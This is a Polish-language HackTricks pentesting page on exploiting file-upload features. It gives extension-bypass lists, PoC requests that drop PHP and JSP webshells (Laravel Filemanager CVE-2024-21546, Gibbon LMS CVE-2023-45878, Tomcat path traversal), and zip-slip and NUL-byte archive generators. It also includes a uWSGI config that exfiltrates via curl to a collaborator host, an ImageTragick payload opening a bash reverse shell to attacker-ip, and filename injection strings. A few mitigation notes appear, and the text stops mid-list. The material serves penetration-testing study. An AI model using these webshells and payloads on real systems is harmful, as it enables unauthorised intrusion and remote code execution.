Przesyłanie plików
Reading time: 26 minutes
tip
Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
Ogólna metodologia przesyłania plików
Inne przydatne rozszerzenia:
- PHP: .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module
- Working in PHPv8: .php, .php4, .php5, .phtml_, .module_, .inc_, .hphp_, .ctp_
- ASP: .asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml
- Jsp: .jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action
- Coldfusion: .cfm, .cfml, .cfc, .dbm
- Flash: .swf
- Perl: .pl, .cgi
- Erlang Yaws Web Server: .yaws
Omijanie kontroli rozszerzeń plików
- Jeśli są stosowane, sprawdź poprzednie rozszerzenia. Testuj je także z użyciem wielkich liter: pHp, .pHP5, .PhAr ...
- Sprawdź dodanie poprawnego rozszerzenia przed rozszerzeniem wykonawczym (użyj też poprzednich rozszerzeń):
- file.png.php
- file.png.Php5
- Spróbuj dodać znaki specjalne na końcu. Możesz użyć Burp do przeprowadzenia bruteforce wszystkich znaków ASCII i Unicode. (Uwaga: możesz też spróbować użyć wcześniej wspomnianych rozszerzeń)
- file.php%20
- file.php%0a
- file.php%00
- file.php%0d%0a
- file.php/
- file.php.\
- file.
- file.php....
- file.pHp5....
- Spróbuj obejść zabezpieczenia, oszukując parser rozszerzeń po stronie serwera technikami takimi jak podwajanie rozszerzenia lub dodawanie śmieciowych danych (bajtów null) między rozszerzeniami. Możesz też użyć poprzednich rozszerzeń do przygotowania lepszego payloadu.
- file.png.php
- file.png.pHp5
- file.php#.png
- file.php%00.png
- file.php\x00.png
- file.php%0a.png
- file.php%0d%0a.png
- file.phpJunk123png
- Dodaj kolejną warstwę rozszerzeń do poprzedniego testu:
- file.png.jpg.php
- file.php%00.png%00.jpg
- Spróbuj umieścić rozszerzenie wykonawcze przed poprawnym rozszerzeniem i miej nadzieję, że serwer jest źle skonfigurowany. (przydatne do wykorzystania błędnych konfiguracji Apache, gdzie cokolwiek z rozszerzeniem** .php, ale niekoniecznie kończące się na .php** będzie wykonywać kod):
- ex: file.php.png
- Użycie NTFS alternate data stream (ADS) w Windows. W tym przypadku po zabronionym rozszerzeniu i przed dozwolonym zostanie wstawiony znak dwukropka ":". W rezultacie na serwerze może zostać utworzony pusty plik z zabronionym rozszerzeniem (np. "file.asax:.jpg"). Ten plik może być później edytowany innymi technikami, takimi jak użycie jego krótkiej nazwy. Wzorzec "::$data” może być również użyty do tworzenia plików niepustych. Dlatego dodanie kropki po tym wzorcu może być również przydatne do obejścia dalszych ograniczeń (np. "file.asp::$data.")
- Spróbuj przekroczyć limity długości nazwy pliku. Poprawne rozszerzenie zostaje obcięte. A złośliwy PHP zostaje. AAA<--SNIP-->AAA.php
# Linux maximum 255 bytes
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 here and adding .png
# Upload the file and check response how many characters it alllows. Let's say 236
python -c 'print "A" * 232'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
# Make the payload
AAA<--SNIP 232 A-->AAA.php.png
UniSharp Laravel Filemanager pre-2.9.1 (.php. trailing dot) – CVE-2024-21546
Niektóre mechanizmy obsługi uploadu obcinają lub normalizują znaki kropki na końcu zapisanej nazwy pliku. W UniSharp’s Laravel Filemanager (unisharp/laravel-filemanager) w wersjach przed 2.9.1 można obejść walidację rozszerzeń przez:
- Używanie poprawnego image MIME i magic header (np. PNG’s
\x89PNG\r\n\x1a\n
). - Nazwanie przesyłanego pliku rozszerzeniem PHP zakończonym kropką, np.
shell.php.
. - Serwer usuwa końcową kropkę i zapisuje
shell.php
, który wykona się, jeśli zostanie umieszczony w katalogu udostępnianym przez web (domyślny public storage jak/storage/files/
).
Minimalny PoC (Burp Repeater):
POST /profile/avatar HTTP/1.1
Host: target
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
------WebKitFormBoundary
Content-Disposition: form-data; name="upload"; filename="0xdf.php."
Content-Type: image/png
\x89PNG\r\n\x1a\n<?php system($_GET['cmd']??'id'); ?>
------WebKitFormBoundary--
Następnie wywołaj zapisany path (typowe w Laravel + LFM):
GET /storage/files/0xdf.php?cmd=id
Bypass Content-Type, Magic Number, Compression & Resizing
- Bypass Content-Type checks by setting the value of the Content-Type header to: image/png , text/plain , application/octet-stream
- Content-Type wordlist: https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt
- Bypass magic number check by adding at the beginning of the file the bytes of a real image (confuse the file command). Or introduce the shell inside the metadata:
exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg
\
or you could also introduce the payload directly in an image:
echo '<?php system($_REQUEST['cmd']); ?>' >> img.png
- If compressions is being added to your image, for example using some standard PHP libraries like PHP-GD, the previous techniques won't be useful it. However, you could use the PLTE chunk technique defined here to insert some text that will survive compression.
- Github with the code
- The web page could also be resizing the image, using for example the PHP-GD functions
imagecopyresized
orimagecopyresampled
. However, you could use the IDAT chunk technique defined here to insert some text that will survive compression. - Github with the code
- Another technique to make a payload that survives an image resizing, using the PHP-GD function
thumbnailImage
. However, you could use the tEXt chunk technique defined here to insert some text that will survive compression. - Github with the code
Other Tricks to check
- Find a vulnerability to rename the file already uploaded (to change the extension).
- Find a Local File Inclusion vulnerability to execute the backdoor.
- Possible Information disclosure:
- Upload several times (and at the same time) the same file with the same name
- Upload a file with the name of a file or folder that already exists
- Uploading a file with "." , "..", or "…" as its name. For instance, in Apache in Windows, if the application saves the uploaded files in "/www/uploads/" directory, the "." filename will create a file called uploads” in the "/www/" directory.
- Upload a file that may not be deleted easily such as "…:.jpg" in NTFS. (Windows)
- Upload a file in Windows with invalid characters such as
|<>*?”
in its name. (Windows) - Upload a file in Windows using reserved (forbidden) names such as CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, and LPT9.
- Try also to upload an executable (.exe) or an .html (less suspicious) that will execute code when accidentally opened by victim.
Special extension tricks
If you are trying to upload files to a PHP server, take a look at the .htaccess trick to execute code.
If you are trying to upload files to an ASP server, take a look at the .config trick to execute code.
The .phar
files are like the .jar
for java, but for php, and can be used like a php file (executing it with php, or including it inside a script...)
The .inc
extension is sometimes used for php files that are only used to import files, so, at some point, someone could have allow this extension to be executed.
Jetty RCE
If you can upload a XML file into a Jetty server you can obtain RCE because **new .xml and .war are automatically processed. So, as mentioned in the following image, upload the XML file to $JETTY_BASE/webapps/
and expect the shell!
uWSGI RCE
For a detailed exploration of this vulnerability check the original research: uWSGI RCE Exploitation.
Remote Command Execution (RCE) vulnerabilities can be exploited in uWSGI servers if one has the capability to modify the .ini
configuration file. uWSGI configuration files leverage a specific syntax to incorporate "magic" variables, placeholders, and operators. Notably, the '@' operator, utilized as @(filename)
, is designed to include the contents of a file. Among the various supported schemes in uWSGI, the "exec" scheme is particularly potent, allowing the reading of data from a process's standard output. This feature can be manipulated for nefarious purposes such as Remote Command Execution or Arbitrary File Write/Read when a .ini
configuration file is processed.
Consider the following example of a harmful uwsgi.ini
file, showcasing various schemes:
[uwsgi]
; read from a symbol
foo = @(sym://uwsgi_funny_function)
; read from binary appended data
bar = @(data://[REDACTED])
; read from http
test = @(http://[REDACTED])
; read from a file descriptor
content = @(fd://[REDACTED])
; read from a process stdout
body = @(exec://whoami)
; curl to exfil via collaborator
extra = @(exec://curl http://collaborator-unique-host.oastify.com)
; call a function returning a char *
characters = @(call://uwsgi_func)
Wykonanie payloadu następuje podczas parsowania pliku konfiguracyjnego. Aby konfiguracja została aktywowana i sparsowana, proces uWSGI musi zostać albo zrestartowany (potencjalnie po awarii lub z powodu Denial of Service attack) albo plik musi mieć włączony auto-reload. Funkcja auto-reload, jeśli jest włączona, przeładowuje plik w określonych odstępach po wykryciu zmian.
Kluczowe jest zrozumienie luźnego sposobu parsowania plików konfiguracyjnych przez uWSGI. Konkretnie, omawiany payload można wstawić do pliku binarnego (takiego jak image lub PDF), co dodatkowo poszerza zakres możliwych ataków.
Gibbon LMS arbitrary file write to pre-auth RCE (CVE-2023-45878)
Nieautoryzowany endpoint w Gibbon LMS pozwala na arbitrary file write wewnątrz web root, prowadząc do pre-auth RCE przez upuszczenie pliku PHP. Wrażliwe wersje: do 25.0.01 włącznie.
- Endpoint:
/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php
- Method: POST
- Required params:
img
: data-URI-like string:[mime];[name],[base64]
(serwer ignoruje type/name, dekoduje base64 końcówkę)path
: docelowa nazwa pliku względem katalogu instalacyjnego Gibbon (np.poc.php
lub0xdf.php
)gibbonPersonID
: dowolna niepusta wartość jest akceptowana (np.0000000001
)
Minimal PoC to write and read back a file:
# Prepare test payload
printf '0xdf was here!' | base64
# => MHhkZiB3YXMgaGVyZSEK
# Write poc.php via unauth POST
curl http://target/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php \
-d 'img=image/png;test,MHhkZiB3YXMgaGVyZSEK&path=poc.php&gibbonPersonID=0000000001'
# Verify write
curl http://target/Gibbon-LMS/poc.php
Wrzucić minimalny webshell i uruchomić polecenia:
# '<?php system($_GET["cmd"]); ?>' base64
# PD9waHAgIHN5c3RlbSgkX0dFVFsiY21kIl0pOyA/Pg==
curl http://target/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php \
-d 'img=image/png;foo,PD9waHAgIHN5c3RlbSgkX0dFVFsiY21kIl0pOyA/Pg==&path=shell.php&gibbonPersonID=0000000001'
curl 'http://target/Gibbon-LMS/shell.php?cmd=whoami'
Uwagi:
- Handler wykonuje
base64_decode($_POST["img"])
po rozdzieleniu po;
i,
, następnie zapisuje bajty do$absolutePath . '/' . $_POST['path']
bez walidacji rozszerzenia/typu. - W wyniku tego kod uruchamia się jako użytkownik usługi web (np. XAMPP Apache na Windows).
Referencje dla tego błędu obejmują usd HeroLab advisory oraz wpis NVD. Zobacz sekcję References poniżej.
wget File Upload/SSRF Trick
W niektórych przypadkach możesz stwierdzić, że serwer używa wget
do pobierania plików i możesz wskazać URL. W takich sytuacjach kod może sprawdzać, czy rozszerzenie pobieranych plików znajduje się na whitelist, aby upewnić się, że pobierane będą tylko dozwolone pliki. Jednak ten check można obejść.
Maksymalna długość nazwy pliku w linux to 255, jednak wget obcina nazwy plików do 236 znaków. Możesz download a file called "A"*232+".php"+".gif", ta nazwa pliku obejdzie check (w tym przykładzie ".gif" jest valid rozszerzeniem), ale wget
rename plik na "A"*232+".php".
#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
python3 -m http.server 9080
#Download the file
wget 127.0.0.1:9080/$(python -c 'print("A"*(236-4)+".php"+".gif")')
The name is too long, 240 chars total.
Trying to shorten...
New name is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.
--2020-06-13 03:14:06-- http://127.0.0.1:9080/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.gif
Connecting to 127.0.0.1:9080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10 [image/gif]
Saving to: ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’
AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[===============================================>] 10 --.-KB/s in 0s
2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]
Zauważ, że inną opcją, o której możesz myśleć, aby bypass tego sprawdzenia, jest sprawienie, by HTTP server przekierował do innego pliku, dzięki czemu początkowy URL obejdzie sprawdzenie, a następnie wget pobierze przekierowany plik pod nową nazwą. To nie zadziała, chyba że wget jest używany z parametrem --trust-server-names
, ponieważ wget pobierze przekierowaną stronę pod nazwą pliku wskazaną w oryginalnym URL.
Ominięcie katalogu upload za pomocą NTFS junctions (Windows)
(Do tego ataku będziesz potrzebować lokalnego dostępu do maszyny Windows) Gdy uploads są przechowywane w per-user podfolderach na Windows (np. C:\Windows\Tasks\Uploads<id>) i kontrolujesz tworzenie/usuwanie tego podfolderu, możesz zastąpić go directory junction wskazującym na wrażliwą lokalizację (np. webroot). Kolejne uploads zostaną zapisane w docelowej ścieżce, co umożliwia wykonanie kodu, jeśli cel interpretuje server‑side code.
Przykładowy przebieg przekierowania uploads do XAMPP webroot:
:: 1) Upload once to learn/confirm your per-user folder name (e.g., md5 of form fields)
:: Observe it on disk: C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882
:: 2) Remove the created folder and create a junction to webroot
rmdir C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882
cmd /c mklink /J C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882 C:\xampp\htdocs
:: 3) Re-upload your payload; it lands under C:\xampp\htdocs
:: Minimal PHP webshell for testing
:: <?php echo shell_exec($_REQUEST['cmd']); ?>
:: 4) Trigger
curl "http://TARGET/shell.php?cmd=whoami"
Notes
- mklink /J creates an NTFS directory junction (reparse point). Konto serwera WWW musi podążać za junction i mieć uprawnienia do zapisu w miejscu docelowym.
- This redirects arbitrary file writes; jeśli miejsce docelowe wykonuje skrypty (PHP/ASP), zamienia się to w RCE.
- Defenses: nie pozwalaj, aby writable upload roots były kontrolowane przez atakującego pod C:\Windows\Tasks lub podobnymi lokalizacjami; blokuj tworzenie junction; weryfikuj rozszerzenia po stronie serwera; przechowuj uploady na osobnym woluminie lub z deny‑execute ACLs.
GZIP-compressed body upload + path traversal in destination param → JSP webshell RCE (Tomcat)
Some upload/ingest handlers write the raw request body to a filesystem path that is constructed from user-controlled query parameters. If the handler also supports Content-Encoding: gzip and fails to canonicalize/validate the destination path, you can combine directory traversal with a gzipped payload to write arbitrary bytes into a web-served directory and obtain RCE (e.g., drop a JSP under Tomcat’s webapps).
Generic exploitation flow:
- Przygotuj payload po stronie serwera (np. minimalny JSP webshell) i skompresuj bajty za pomocą gzip.
- Wyślij POST, w którym parametr ścieżki (np. token) zawiera traversal omijający zamierzony folder, a file wskazuje nazwę pliku do zapisania. Ustaw Content-Type: application/octet-stream i Content-Encoding: gzip; body to skompresowany payload.
- Otwórz zapisany plik w przeglądarce, aby wywołać jego wykonanie.
Illustrative request:
POST /fileupload?token=..%2f..%2f..%2f..%2fopt%2ftomcat%2fwebapps%2fROOT%2Fjsp%2F&file=shell.jsp HTTP/1.1
Host: target
Content-Type: application/octet-stream
Content-Encoding: gzip
Content-Length: <len>
<gzip-compressed-bytes-of-your-jsp>
Następnie wyzwól:
GET /jsp/shell.jsp?cmd=id HTTP/1.1
Host: target
Notes
- Ścieżki docelowe różnią się w zależności od instalacji (np. /opt/TRUfusion/web/tomcat/webapps/trufusionPortal/jsp/ w niektórych stackach). Każdy folder wystawiony w sieci, który wykonuje JSP, będzie działać.
- Rozszerzenie Hackvertor w Burp Suite może wygenerować poprawne gzip body z twoim payloadem.
- To czysty pre-auth arbitrary file write → RCE pattern; nie opiera się na multipart parsing.
Mitigations
- Określaj miejsca zapisu uploadów po stronie serwera; nigdy nie ufaj fragmentom ścieżki pochodzącym od klienta.
- Kanonizuj i wymuszaj, aby rozwiązywana ścieżka pozostawała w obrębie allow-listed katalogu bazowego.
- Przechowuj uploady na wolumenie nieuruchamialnym i zabroń wykonywania skryptów z zapisywalnych ścieżek.
Tools
- Upload Bypass is a powerful tool designed to assist Pentesters and Bug Hunters in testing file upload mechanisms. It leverages various bug bounty techniques to simplify the process of identifying and exploiting vulnerabilities, ensuring thorough assessments of web applications.
Corrupting upload indices with snprintf quirks (historical)
Niektóre starsze upload handlers, które używają snprintf()
lub podobnych do budowania multi-file arrays z pojedynczego uploadu, mogą zostać oszukane w celu sfałszowania struktury _FILES
. Z powodu niespójności i obcinania w zachowaniu snprintf()
, starannie spreparowany pojedynczy upload może pojawić się po stronie serwera jako wiele zindeksowanych plików, myląc logikę, która zakłada ścisły kształt (np. traktując to jako multi-file upload i wykonując niebezpieczne gałęzie). Choć dziś jest to niszowe, ten wzorzec „index corruption” od czasu do czasu pojawia się w CTF-ach i starszych bazach kodu.
From File upload to other vulnerabilities
- Set filename to
../../../tmp/lol.png
and try to achieve a path traversal - Set filename to
sleep(10)-- -.jpg
and you may be able to achieve a SQL injection - Set filename to
<svg onload=alert(document.domain)>
to achieve a XSS - Set filename to
; sleep 10;
to test some command injection (more command injections tricks here) - XSS in image (svg) file upload
- JS file upload + XSS = Service Workers exploitation
- XXE in svg upload
- Open Redirect via uploading svg file
- Try different svg payloads from https://github.com/allanlw/svg-cheatsheet
- Famous ImageTrick vulnerability
- If you can indicate the web server to catch an image from a URL you could try to abuse a SSRF. If this image is going to be saved in some public site, you could also indicate a URL from https://iplogger.org/invisible/ and steal information of every visitor.
- XXE and CORS bypass with PDF-Adobe upload
- Specially crafted PDFs to XSS: The following page present how to inject PDF data to obtain JS execution. If you can upload PDFs you could prepare some PDF that will execute arbitrary JS following the given indications.
- Upload the [eicar](https://secure.eicar.org/eicar.com.txt) content to check if the server has any antivirus
- Check if there is any size limit uploading files
Here’s a top 10 list of things that you can achieve by uploading (from here):
- ASP / ASPX / PHP5 / PHP / PHP3: Webshell / RCE
- SVG: Stored XSS / SSRF / XXE
- GIF: Stored XSS / SSRF
- CSV: CSV injection
- XML: XXE
- AVI: LFI / SSRF
- HTML / JS : HTML injection / XSS / Open redirect
- PNG / JPEG: Pixel flood attack (DoS)
- ZIP: RCE via LFI / DoS
- PDF / PPTX: SSRF / BLIND XXE
Burp Extension
GitHub - PortSwigger/upload-scanner: HTTP file upload scanner for Burp Proxy
Magic Header Bytes
- PNG:
"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\x s0\x03["
- JPG:
"\xff\xd8\xff"
Refer to https://en.wikipedia.org/wiki/List_of_file_signatures for other filetypes.
Zip/Tar File Automatically decompressed Upload
If you can upload a ZIP that is going to be decompressed inside the server, you can do 2 things:
Symlink
Prześlij archiwum zawierające dowiązania symboliczne do innych plików, wtedy uzyskując dostęp do zdekompresowanych plików, uzyskasz dostęp do powiązanych plików:
ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
tar -cvf test.tar symindex.txt
Rozpakowywanie do różnych folderów
Nieoczekiwane tworzenie plików w katalogach podczas rozpakowywania stanowi poważny problem. Mimo początkowych założeń, że taka konfiguracja może chronić przed OS-level command execution poprzez złośliwe przesyłanie plików, hierarchical compression support i możliwości directory traversal formatu ZIP archive format mogą być wykorzystane. Pozwala to atakującym obejść ograniczenia i wydostać się z secure upload directories, manipulując decompression functionality aplikacji docelowej.
An automated exploit to craft such files is available at evilarc on GitHub. The utility can be used as shown:
# Listing available options
python2 evilarc.py -h
# Creating a malicious archive
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
Dodatkowo dostępna jest opcja symlink trick with evilarc. Jeśli celem jest plik taki jak /flag.txt
, w systemie należy utworzyć symlink do tego pliku. To zapewnia, że evilarc nie napotka błędów podczas działania.
Poniżej znajduje się przykład kodu Python używanego do stworzenia złośliwego pliku zip:
#!/usr/bin/python
import zipfile
from io import BytesIO
def create_zip():
f = BytesIO()
z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
z.writestr('../../../../../var/www/html/webserver/shell.php', '<?php echo system($_REQUEST["cmd"]); ?>')
z.writestr('otherfile.xml', 'Content of the file')
z.close()
zip = open('poc.zip','wb')
zip.write(f.getvalue())
zip.close()
create_zip()
Wykorzystywanie kompresji do file spraying
Po więcej szczegółów zobacz oryginalny post na: https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/
- Creating a PHP Shell: Kod PHP wykonuje polecenia przekazane przez zmienną
$_REQUEST
.
<?php
if(isset($_REQUEST['cmd'])){
$cmd = ($_REQUEST['cmd']);
system($cmd);
}?>
- File Spraying and Compressed File Creation: Tworzonych jest wiele plików, a następnie składane jest archiwum zip zawierające te pliki.
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
root@s2crew:/tmp# zip cmd.zip xx*.php
- Modyfikacja za pomocą Hex Editor lub vi: Nazwy plików wewnątrz zip są zmieniane przy użyciu vi lub edytora hex, zamieniając "xxA" na "../" aby przemieścić się po katalogach.
:set modifiable
:%s/xxA/../g
:x!
ZIP NUL-byte filename smuggling (PHP ZipArchive confusion)
Gdy backend waliduje wpisy ZIP przy pomocy PHP’s ZipArchive, ale ekstrakcja zapisuje na systemie plików używając surowych nazw, można przemycić niedozwolone rozszerzenie przez wstawienie NUL (0x00) w pola nazwy pliku. ZipArchive traktuje nazwę wpisu jako C‑string i obcina ją przy pierwszym NUL; system plików zapisuje pełną nazwę, pomijając wszystko po NUL.
Przebieg w skrócie:
- Przygotuj prawidłowy plik-kontener (np. ważny PDF), który osadza mały stub PHP w strumieniu tak, aby magic/MIME pozostało PDF.
- Nazwij go np.
shell.php..pdf
, zipuj go, a następnie zedytuj hexowo lokalny nagłówek ZIP i nazwę w central directory, zastępując pierwszy.
po.php
bajtem0x00
, co dajeshell.php\x00.pdf
. - Walidatory polegające na ZipArchive "zobaczą"
shell.php .pdf
i pozwolą na to; extractor zapiszeshell.php
na dysku, co prowadzi do RCE jeśli folder uploadu jest wykonywalny.
Minimalne kroki PoC:
# 1) Build a polyglot PDF containing a tiny webshell (still a valid PDF)
printf '%s' "%PDF-1.3\n1 0 obj<<>>stream\n<?php system($_REQUEST["cmd"]); ?>\nendstream\nendobj\n%%EOF" > embedded.pdf
# 2) Trick name and zip
cp embedded.pdf shell.php..pdf
zip null.zip shell.php..pdf
# 3) Hex-edit both the local header and central directory filename fields
# Replace the dot right after ".php" with 00 (NUL) => shell.php\x00.pdf
# Tools: hexcurse, bless, bvi, wxHexEditor, etc.
# 4) Local validation behavior
php -r '$z=new ZipArchive; $z->open("null.zip"); echo $z->getNameIndex(0),"\n";'
# -> shows truncated at NUL (looks like ".pdf" suffix)
Uwagi
- Zmień OBA wystąpienia nazwy pliku (local i central directory). Niektóre narzędzia dodają także dodatkowy wpis data descriptor — dostosuj wszystkie pola nazwy, jeśli występują.
- Plik payload musi nadal przejść server‑side magic/MIME sniffing. Osadzenie PHP w strumieniu PDF zachowuje poprawny nagłówek.
- Działa tam, gdzie enum/validation path i extraction/write path różnią się w obsłudze łańcuchów znaków.
Stacked/concatenated ZIPs (niezgodność parserów)
Połączenie dwóch poprawnych plików ZIP tworzy blob, w którym różne parsery skupiają się na innych rekordach EOCD. Wiele narzędzi lokalizuje ostatni End Of Central Directory (EOCD), podczas gdy niektóre biblioteki (np. ZipArchive w określonych workflow) mogą sparsować pierwsze napotkane archiwum. Jeśli walidacja enumeruje pierwsze archiwum, a ekstrakcja odbywa się za pomocą innego narzędzia, które respektuje ostatni EOCD, archiwum nieszkodliwe może przejść kontrole, podczas gdy złośliwe zostanie wypakowane.
PoC:
# Build two separate archives
printf test > t1; printf test2 > t2
zip zip1.zip t1; zip zip2.zip t2
# Stack them
cat zip1.zip zip2.zip > combo.zip
# Different views
unzip -l combo.zip # warns about extra bytes; often lists entries from the last archive
php -r '$z=new ZipArchive; $z->open("combo.zip"); for($i=0;$i<$z->numFiles;$i++) echo $z->getNameIndex($i),"\n";'
Wzorzec nadużycia
- Utwórz nieszkodliwe archiwum (dozwolony typ, np. PDF) i drugie archiwum zawierające zablokowane rozszerzenie (np.
shell.php
). - Połącz je:
cat benign.zip evil.zip > combined.zip
. - Jeśli serwer waliduje przy użyciu jednego parsera (widzi benign.zip) ale rozpakowuje przy użyciu innego (przetwarza evil.zip), zablokowany plik trafia do ścieżki rozpakowywania.
ImageTragic
Prześlij tę zawartość z rozszerzeniem obrazu, aby wykorzystać podatność (ImageMagick , 7.0.1-1) (z exploit)
push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
pop graphic-context
Osadzanie PHP Shell w PNG
Osadzenie PHP Shell w chunku IDAT pliku PNG może skutecznie obejść niektóre operacje przetwarzania obrazów. Funkcje imagecopyresized
i imagecopyresampled
z PHP-GD są tutaj szczególnie istotne, ponieważ są powszechnie używane odpowiednio do zmiany rozmiaru i resamplingu obrazów. Możliwość, że osadzony PHP Shell pozostanie niezmieniony przez te operacje, stanowi istotną zaletę w określonych przypadkach użycia.
Szczegółowe omówienie tej techniki, łącznie z metodologią i potencjalnymi zastosowaniami, znajduje się w następującym artykule: "Encoding Web Shells in PNG IDAT chunks". Ten zasób daje dogłębne zrozumienie procesu i jego implikacji.
More information in: https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
Pliki polyglot
Pliki polyglot pełnią unikalną rolę w bezpieczeństwie, działając jak kameleony, które mogą jednocześnie być prawidłowe w wielu formatach plików. Intrygującym przykładem jest GIFAR, hybryda działająca zarówno jako GIF, jak i archiwum RAR. Takie pliki nie ograniczają się do tej pary; możliwe są też kombinacje typu GIF i JS czy PPT i JS.
Główną użytecznością plików polyglot jest ich zdolność do obchodzenia zabezpieczeń, które sprawdzają pliki na podstawie typu. W praktyce wiele aplikacji zezwala na przesyłanie tylko określonych typów plików — np. JPEG, GIF czy DOC — aby zmniejszyć ryzyko związane z potencjalnie szkodliwymi formatami (np. JS, PHP czy Phar). Jednak polyglot, spełniając strukturalne kryteria wielu formatów, może podstępnie obejść te ograniczenia.
Pomimo swojej elastyczności, polygloty napotykają ograniczenia. Na przykład, choć polyglot może jednocześnie zawierać plik PHAR i JPEG, sukces jego uploadu może zależeć od polityki platformy dotyczącej rozszerzeń plików. Jeśli system rygorystycznie wymaga dozwolonych rozszerzeń, sama strukturalna dwoistość polyglota może nie wystarczyć, by zapewnić jego przesłanie.
More information in: https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a
Wgrywanie ważnych JSON-ów tak, jakby to był PDF
Jak uniknąć wykrywania typu pliku poprzez wgranie poprawnego pliku JSON nawet jeśli nie jest dozwolone, podszywając go pod PDF (techniki z this blog post):
mmmagic
library: Dopóki magiczne bajty%PDF
znajdują się w pierwszych 1024 bajtach, plik jest uznawany za ważny (zobacz przykład w poście)pdflib
library: Dodaj fałszywy format PDF wewnątrz pola JSON tak, aby biblioteka uznała go za pdf (zobacz przykład w poście)file
